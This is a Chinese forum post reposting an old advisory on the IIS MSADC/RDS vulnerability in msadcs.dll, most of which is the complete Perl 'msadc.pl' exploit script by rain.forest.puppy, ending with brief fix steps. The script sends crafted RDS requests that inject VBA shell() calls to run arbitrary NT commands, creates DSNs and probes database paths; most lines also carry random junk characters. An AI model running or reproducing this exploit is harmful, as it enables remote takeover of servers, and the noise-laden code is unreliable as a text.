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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) y<53xZi  
M[;N6EJH  
涉及程序: Q|!}&=  
Microsoft NT server w<m) T  
vf |lF9@U  
描述: } Fw/WD  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 0<,Q7onDD:  
Vy+%sG q"  
详细: 4 ^=qc99  
如果你没有时间读详细内容的话,就删除: |GDf<\  
c:\Program Files\Common Files\System\Msadc\msadcs.dll [(hB%x_"  
有关的安全问题就没有了。 Oq7R^t`b  
oj8_e xx  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Sxj _gn  
86]})H  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 S%+$  
关于利用ODBC远程漏洞的描述,请参看: YTQom!O  
)Mtw9[  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm UL46%MFQ\  
<Z$r\Huf  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 3Zr'Mn  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp qrWeV8ur+  
Z5oX "Yx  
这里不再论述。 ;yc|=I ^  
Tb2Tb2C  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: RR%[]M#_T  
!<ae~#]3 P  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset w6^X*tE  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! bZ/4O*B  
$IuN(#  
SM<kR1bo  
#将下面这段保存为txt文件,然后: "perl -x 文件名" f9Vxtd  
af:wg]g  
#!perl U%Igj:%?;`  
# k:+Bex$g  
# MSADC/RDS 'usage' (aka exploit) script #ny&bJj  
# np>RxiB^  
# by rain.forest.puppy <hYrcOt  
# $'9b,- e  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me LX i?FQnLu  
# beta test and find errors! v(H CnC  
L$ nFRl&  
use Socket; use Getopt::Std; vPVA^UPNV  
getopts("e:vd:h:XR", \%args); ,P?R 3  
#WOb&h  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 7c:5 Ey  
jq4'=L$4  
if (!defined $args{h} && !defined $args{R}) { mXX9Aa>  
print qq~ 6l{=[\.Xa  
Usage: msadc.pl -h <host> { -d <delay> -X -v } .szs?  
-h <host> = host you want to scan (ip or domain) [jOvy>2K]  
-d <seconds> = delay between calls, default 1 second 7_AR()CM  
-X = dump Index Server path table, if available A[,[j?wC  
-v = verbose ?pT\Ft V  
-e = external dictionary file for step 5  Ji>  
G(4*e! aZ0  
Or a -R will resume a command session WIe2j  
U 0$?:C+?  
~; exit;} /1Xji 0LK  
`kx+Kc  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 91Cg   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} qU'O4TWZ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} |_Y[93 1<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); &"90pBGK  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} \2rCT~x  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } lL*k!lNs  
}F*u 9E  
if (!defined $args{R}){ $ret = &has_msadc; uq}>5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} oEqt7l[I{  
[5v[Zqud  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" { .z6J)?J2  
. "cmd /c "; =Yxu {]G  
$in=<STDIN>; chomp $in; ]t69a4&,#9  
$command="cmd /c " . $in ; -&#H@Gyw  
s}~'o!}W  
if (defined $args{R}) {&load; exit;} bS0z\!1  
l_G&#sQ0  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; b,?@_*qv+  
&try_btcustmr; hBSci|*f  
Lv;R8^n  
print "\nStep 2: Trying to make our own DSN..."; K1P3 FfG  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; uW.)(l  
'qosw:P  
print "\nStep 3: Trying known DSNs..."; G(alM=q  
&known_dsn; 9w-V +Nf  
;2m<#~@0  
print "\nStep 4: Trying known .mdbs..."; 0A~zu K  
&known_mdb; EW* 's(  
PV2cZ/  
if (defined $args{e}){ jLULf+ 8&  
print "\nStep 5: Trying dictionary of DSN names..."; :Sh>  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } iU5Aj:U3  
7p}.r J54  
print "Sorry Charley...maybe next time?\n"; G3j&8[  
exit; hRn[ 9B  
i;1EXM  
############################################################################## :v_H;UU  
[l+1zt0w0  
sub sendraw { # ripped and modded from whisker e3+'m  
sleep($delay); # it's a DoS on the server! At least on mine... 1 :xN)M,s  
my ($pstr)=@_; G<1awi  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || cuJ%;q=;  
die("Socket problems\n"); 2?]NQE9lA  
if(connect(S,pack "SnA4x8",2,80,$target)){ Pkr0| bs*  
select(S); $|=1; Y.O/~af  
print $pstr; my @in=<S>; 49o5"M(  
select(STDOUT); close(S); Kn]c4h}@b5  
return @in; E7eOKNVC#  
} else { die("Can't connect...\n"); }} =YPvh]][  
P1f?'i ?J  
############################################################################## y;N[#hY#CD  
0Ey*ci^ue  
sub make_header { # make the HTTP request z0;+.E!  
my $msadc=<<EOT |[k/%  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 A7~~{9  
User-Agent: ACTIVEDATA Az_s"}G  
Host: $ip 3pSkk  
Content-Length: $clen r^uo7?gZ^  
Connection: Keep-Alive )~q@2^  
^]He]FW':G  
ADCClientVersion:01.06 R@=Bk(h  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 XYbc1+C  
_)q,:g~fu  
--!ADM!ROX!YOUR!WORLD! #,dE)  
Content-Type: application/x-varg qTA@0fL  
Content-Length: $reqlen Ea%} VZ&[  
=K<8X!xUW  
EOT J$)lYSNE  
; $msadc=~s/\n/\r\n/g; qb+vptg@I  
return $msadc;} AiXxn'&i  
P^-tGo!  
############################################################################## _kR,R"lh  
7o$4ov;T  
sub make_req { # make the RDS request * \@u,[,  
my ($switch, $p1, $p2)=@_; r)jj]$0  
my $req=""; my $t1, $t2, $query, $dsn; _rQM[{Bkg  
@_&@M~ u  
if ($switch==1){ # this is the btcustmr.mdb query w5I +5/I  
$query="Select * from Customers where City=" . make_shell(); )'{:4MX  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . NX?J  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Ybr&z7# 2  
N?d4Pu1m  
elsif ($switch==2){ # this is general make table query kRBPl9 9  
$query="create table AZZ (B int, C varchar(10))"; nw3CI&Y`  
$dsn="$p1";} Z3K~C_0Cnu  
lFT_J?G$'  
elsif ($switch==3){ # this is general exploit table query :tu_@3bg-  
$query="select * from AZZ where C=" . make_shell(); DkP%1Crdr  
$dsn="$p1";} lNSB "S  
hP4*S^l  
elsif ($switch==4){ # attempt to hork file info from index server a7#J af  
$query="select path from scope()"; ?)9mHo^  
$dsn="Provider=MSIDXS;";} tA+ c  
I!y[7^R  
elsif ($switch==5){ # bad query }.<%46_Z-  
$query="select"; 1uTbN  
$dsn="$p1";} #D"fCVIS  
_"8\k 7S*  
$t1= make_unicode($query); kve{CO*  
$t2= make_unicode($dsn); b {e nD  
$req = "\x02\x00\x03\x00"; xF*C0B;QL  
$req.= "\x08\x00" . pack ("S1", length($t1)); $=8?@My<  
$req.= "\x00\x00" . $t1 ; lZTD>$  
$req.= "\x08\x00" . pack ("S1", length($t2)); wL]7d3t  
$req.= "\x00\x00" . $t2 ; 5b_[f(  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; RVmD&  
return $req;} _ i )Z8#  
,Yg<Z1  
############################################################################## U @$Kp>X  
u 89u#gCAC  
sub make_shell { # this makes the shell() statement Xp]tL3-p  
return "'|shell(\"$command\")|'";} *N"bn'>3  
T,h,)|:I^  
############################################################################## P7n+@ L$  
&Y2mLPB  
sub make_unicode { # quick little function to convert to unicode GI}h )T  
my ($in)=@_; my $out; z T|]!',  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } <!h&h  
return $out;} bdiyS.a-  
o6^^hc\  
############################################################################## "M*Pt  
+>N/q(l  
sub rdo_success { # checks for RDO return success (this is kludge) B9;-Blh  
my (@in) = @_; my $base=content_start(@in); DiF=<} >x  
if($in[$base]=~/multipart\/mixed/){ jP6;~[rl  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} .^^YS$%%7  
return 0;} X*Mw0;+T  
v>TI.;{y  
############################################################################## WP1>)  
8phc ekh+  
sub make_dsn { # this makes a DSN for us C% <[mM  
my @drives=("c","d","e","f"); 2U6j?MyH2  
print "\nMaking DSN: "; b'Gn)1NE  
foreach $drive (@drives) { H"8+[.xBh  
print "$drive: "; ~SkdP7 )  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 28M! G~|  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" >S5:zz\  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ,L&Ka|N0  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; )+[IR  
return 0 if $2 eq "404"; # not found/doesn't exist |MvCEp  
if($2 eq "200") { Fs7/3  
foreach $line (@results) { >G<AyS&z*  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} zH8l-0I+$  
} return 0;} JZ&]"12]fR  
DUiqt09`~  
############################################################################## 9PEjV$0E2  
krm&.J  
sub verify_exists { Y;>0)eP  
my ($page)=@_; 93:s[b mx  
my @results=sendraw("GET $page HTTP/1.0\n\n"); = wNul"  
return $results[0];} Y[x9c0  
['m@RJm+  
############################################################################## 0V*L",9M  
zw^jIg$  
sub try_btcustmr { ^1U2&S  
my @drives=("c","d","e","f"); }9e4?7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $53I%.  
=vBxwa^  
foreach $dir (@dirs) { Dm6WSp1|b  
print "$dir -> "; # fun status so you can see progress Bsw5A7,-  
foreach $drive (@drives) { 94"R&|  
print "$drive: "; # ditto ~DcX}VCm  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; mfLS< /A  
$reqlenlen=length( "$reqlen" ); .EGZv (rz&  
$clen= 206 + $reqlenlen + $reqlen; tsq]QTA*  
^<xpp.eY  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \}t(g}7T  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} `bO+3Y'5  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} JI5?, )-St  
^lB'7#7  
############################################################################## %"@KuqV  
$xmlt vaF  
sub odbc_error { &ZFsK c#  
my (@in)=@_; my $base; n@w$5y1@  
my $base = content_start(@in); =kohQ d.n  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this xtN%v0ZZ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +2`RvQN  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0Ep%&>@  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l"!.aIY"e  
return $in[$base+4].$in[$base+5].$in[$base+6];} yef@V2Z+  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; j&) +qTV  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . [-_u{j  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} m6QlIdl  
yL&F!+(/Ix  
############################################################################## ? e%Pvy<i  
qR!SwG44+  
sub verbose { % w 6fB  
my ($in)=@_; Ph2jj,K  
return if !$verbose; Fsv%=E{  
print STDOUT "\n$in\n";} I(ds]E ;_E  
IX;u+B  
############################################################################## d_Ll,*J9  
30g-J(Zg  
sub save { ~:Dr]kt  
my ($p1, $p2, $p3, $p4)=@_; <oTIzj7f  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; `TKe+oS)  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; =dUeQ?>t=  
close OUT;} Ix ! O&_6s  
i;`r zsRb  
############################################################################## em<(wJ-Y  
U,Nf&g  
sub load { TIlcdpwXf  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; lM"@vNgK  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); !HM{imT  
@p=<IN>; close(IN); i3s-l8\\z  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 828E^Q"<  
$target= inet_aton($ip) || die("inet_aton problems"); 8.Wf^j$+{  
print "Resuming to $ip ..."; YmFJlMK  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; }'a}s0h  
if($p[1]==1) { ^rjICF e  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; cF3V{b|bU  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; $`x4|a8-  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); WMZ&LlB%  
if (rdo_success(@results)){print "Success!\n";} BdB/`X*  
else { print "failed\n"; verbose(odbc_error(@results));}} )U e9:e  
elsif ($p[1]==3){ > y"V%  
if(run_query("$p[3]")){ aGx`ec*t  
print "Success!\n";} else { print "failed\n"; }} 5`*S'W}\>  
elsif ($p[1]==4){ K+TRt"W8&s  
if(run_query($drvst . "$p[3]")){ dGMBgj  
print "Success!\n"; } else { print "failed\n"; }} I0sd%'Ht?  
exit;} {LVii}<  
{ :'#Ts<  
############################################################################## `$SX%AZA  
)FGm5-K@  
sub create_table { pJ"Wg@+  
my ($in)=@_; ^tIs57!  
$reqlen=length( make_req(2,$in,"") ) - 28; EKhwrBjS  
$reqlenlen=length( "$reqlen" ); w_q{C>- cR  
$clen= 206 + $reqlenlen + $reqlen; _n@#Lufx  
my @results=sendraw(make_header() . make_req(2,$in,"")); J7/"8S_#N  
return 1 if rdo_success(@results); 1om:SHw  
my $temp= odbc_error(@results); verbose($temp); i5w  
return 1 if $temp=~/Table 'AZZ' already exists/; XLz>h(w=  
return 0;} ihBlP\C  
i&$L$zf,  
############################################################################## h)7{Cj  
;'NB6[x  
sub known_dsn { ~[e;{45V  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go qk{2%,u$@{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", q3TAWNzI0  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 3qE2mYK  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); eaCv8zdX  
NGtSC_~d  
foreach $dSn (@dsns) { ( e6JI]tz{  
print "."; PsMoH/+"  
next if (!is_access("DSN=$dSn")); %WiDz0o  
if(create_table("DSN=$dSn")){ 5Jh=${  
print "$dSn successful\n"; ='a[(C&Y  
if(run_query("DSN=$dSn")){ @v\Osp t=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `WGT`A"  
print "Something's borked. Use verbose next time\n";}}} print "\n";} x hBlv  
,<0R'R  
############################################################################## XT> u/Z)  
d}j%. JJK  
sub is_access { 3#`_t :"A  
my ($in)=@_; =<MSM\Rb  
$reqlen=length( make_req(5,$in,"") ) - 28; n|sP0,$N1  
$reqlenlen=length( "$reqlen" ); EE(1;] d-  
$clen= 206 + $reqlenlen + $reqlen; #S)+eH  
my @results=sendraw(make_header() . make_req(5,$in,"")); H WOs   
my $temp= odbc_error(@results); .(^KA{  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); RT HD2  
return 0;} A^nB!veh  
SB0Cq  
############################################################################## 5P-7"g ca  
fmrd 7*MW  
sub run_query { \/J>I1J  
my ($in)=@_; }m0* w3  
$reqlen=length( make_req(3,$in,"") ) - 28; @(M-ZO!D  
$reqlenlen=length( "$reqlen" ); {fFZ%$  
$clen= 206 + $reqlenlen + $reqlen; s(jixAf  
my @results=sendraw(make_header() . make_req(3,$in,"")); S#_g/3w  
return 1 if rdo_success(@results); ;NQ9A &$)  
my $temp= odbc_error(@results); verbose($temp); 9z6-HZG'~<  
return 0;} t>"UenJt-  
P|HxD0c^u  
############################################################################## e=&,jg?K  
8Q ba4kgL  
sub known_mdb { 88x_}M^Fnl  
my @drives=("c","d","e","f","g"); Ndq/n21j  
my @dirs=("winnt","winnt35","winnt351","win","windows"); I ,8   
my $dir, $drive, $mdb; hAX@|G.  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; q{~59{Fha  
kKL'rT6z  
# this is sparse, because I don't know of many ~Gm<F .(+  
my @sysmdbs=( "\\catroot\\icatalog.mdb",  BC*62m  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", o~<Xc  
"\\system32\\certmdb.mdb", CC&opC  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7.mY@  
CAg~K[  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Ey96XJV  
"\\cfusion\\cfapps\\forums\\forums_.mdb", F|pM$Kd`  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 2*;qr|h,  
"\\cfusion\\cfapps\\security\\realm_.mdb", $2uk;&"?A=  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", qg1s]c~0u  
"\\cfusion\\database\\cfexamples.mdb", NU[{ANbl  
"\\cfusion\\database\\cfsnippets.mdb", |2t g3m@  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 35=kZXwG+4  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", -i93  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 5"5!\Zo  
"\\cfusion\\database\\smpolicy.mdb", 4A0 ,N8ja}  
"\\cfusion\\database\cypress.mdb", San3^uX  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", QL/I/EgqC  
"\\website\\cgi-win\\dbsample.mdb", <8;SSdoKi  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", !2L?8oP-z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" N~NUBEKcp  
); #these are just 9#(Nd, m})  
foreach $drive (@drives) { *{WhUHZF  
foreach $dir (@dirs){ SFqY*:svOw  
foreach $mdb (@sysmdbs) { Nl/^ga  
print "."; @cYb37)q=  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ W D8  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; j=|cx+nb  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ MX Qua:&HW  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; wNc.z*+O"H  
} else { print "Something's borked. Use verbose next time\n"; }}}}} $O nh2 ^  
]q^6az(Ud  
foreach $drive (@drives) { eka<mq|W  
foreach $mdb (@mdbs) { -)N, HAM>  
print "."; FK;3atrz  
if(create_table($drv . $drive . $dir . $mdb)){ ,GO H8h  
print "\n" . $drive . $dir . $mdb . " successful\n"; EPeKg{w  
if(run_query($drv . $drive . $dir . $mdb)){ ($QQuM=  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; RZMR2fP%  
} else { print "Something's borked. Use verbose next time\n"; }}}} X5U#^^O$E%  
} 709/'#- ^  
[}>!$::Y  
############################################################################## \dAs<${(  
suOWmqLs  
sub hork_idx { ,bTpD!  
print "\nAttempting to dump Index Server tables...\n"; /3Y\s&y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; |k.%e4  
$reqlen=length( make_req(4,"","") ) - 28; }ejZk bP  
$reqlenlen=length( "$reqlen" ); tKS'#y!R  
$clen= 206 + $reqlenlen + $reqlen; F/%M`?m"ie  
my @results=sendraw2(make_header() . make_req(4,"","")); oRkh>yj'  
if (rdo_success(@results)){ U80h0t%  
my $max=@results; my $c; my %d; `:b*#@  
for($c=19; $c<$max; $c++){ vJ,r}$H3  
$results[$c]=~s/\x00//g; I<+EXH%1,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; lKdd3W"o  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; h~EGRg  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; '[WVP=M<XV  
$d{"$1$2"}="";} !d.bCE~  
foreach $c (keys %d){ print "$c\n"; } x-nO; L-2p  
} else {print "Index server doesn't seem to be installed.\n"; }} ^cDHC^Wm  
j_3`J8WwF  
############################################################################## Rf4}((y7Y\  
XoNBq9Iu  
sub dsn_dict { IL>VH`D  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ~a$h\F'6  
while(<IN>){ L;GkG! g  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; OsT|MX  
next if (!is_access("DSN=$dSn")); /SW*y@R2l  
if(create_table("DSN=$dSn")){ '3|fv{I  
print "$dSn successful\n"; { )g $  
if(run_query("DSN=$dSn")){ S( ^HIJK  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { MCO2(E-  
print "Something's borked. Use verbose next time\n";}}} ,ZV>"'I:  
print "\n"; close(IN);} ?lca#@f(  
AZ.$g?3w  
############################################################################## WAt= T3  
-I ?8\  
sub sendraw2 { # ripped and modded from whisker I+{2DY/}  
sleep($delay); # it's a DoS on the server! At least on mine... a%nf )-}|  
my ($pstr)=@_; dtj+ av G  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || {8* d{0l  
die("Socket problems\n"); 3 \}>nE  
if(connect(S,pack "SnA4x8",2,80,$target)){ gNHS:k\"  
print "Connected. Getting data"; @}\i`H1s  
open(OUT,">raw.out"); my @in; W1Vy5V|M  
select(S); $|=1; print $pstr; < k?pnBI_  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} vnN 0o5  
close(OUT); select(STDOUT); close(S); return @in; k{F]^VXQ  
} else { die("Can't connect...\n"); }} 9?iA~r|+  
(kTu6t*  
############################################################################## 0%<OwA2d  
6H1;Hl f  
sub content_start { # this will take in the server headers F|jl=i  
my (@in)=@_; my $c; ri Z :#I  
for ($c=1;$c<500;$c++) { N7u|< 0[  
if($in[$c] =~/^\x0d\x0a/){ >[2;  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  j iejs*  
else { return $c+1; }}} P$x9Z3d_  
return -1;} # it should never get here actually 'NMO>[.  
O9P+S|hcY  
############################################################################## Zg%tN#6y  
n:[@#xs-  
sub funky { @>,GCuPrm  
my (@in)=@_; my $error=odbc_error(@in); VOJ/I Dl 4  
if($error=~/ADO could not find the specified provider/){ #;[0:jU0  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; s:k ?-u@  
exit;} Lb?WhjqZ  
if($error=~/A Handler is required/){ ;}Ei #T,D  
print "\nServer has custom handler filters (they most likely are patched)\n"; ",xTgB3?V  
exit;} f(G1xw]]@Y  
if($error=~/specified Handler has denied Access/){ c@2a)S8Y]  
print "\nServer has custom handler filters (they most likely are patched)\n"; G@KDRv  
exit;}} TSD7R  
8@[S,[  
############################################################################## RFLfvD<  
IH&0>a  
sub has_msadc { -=cm7/X  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _NB*+HVo  
my $base=content_start(@results); "F =NDF  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); -{}h6r  
return 0;} y/E:6w  
OxPl0-]t  
######################## &) 64:l&  
&:&~[4>%a  
,5V6=pr$  
解决方案: %AN,cE*  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll L+S)hgUH  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 -u(,*9]cJ*  
nU' qE  
拿出来充数 哈哈
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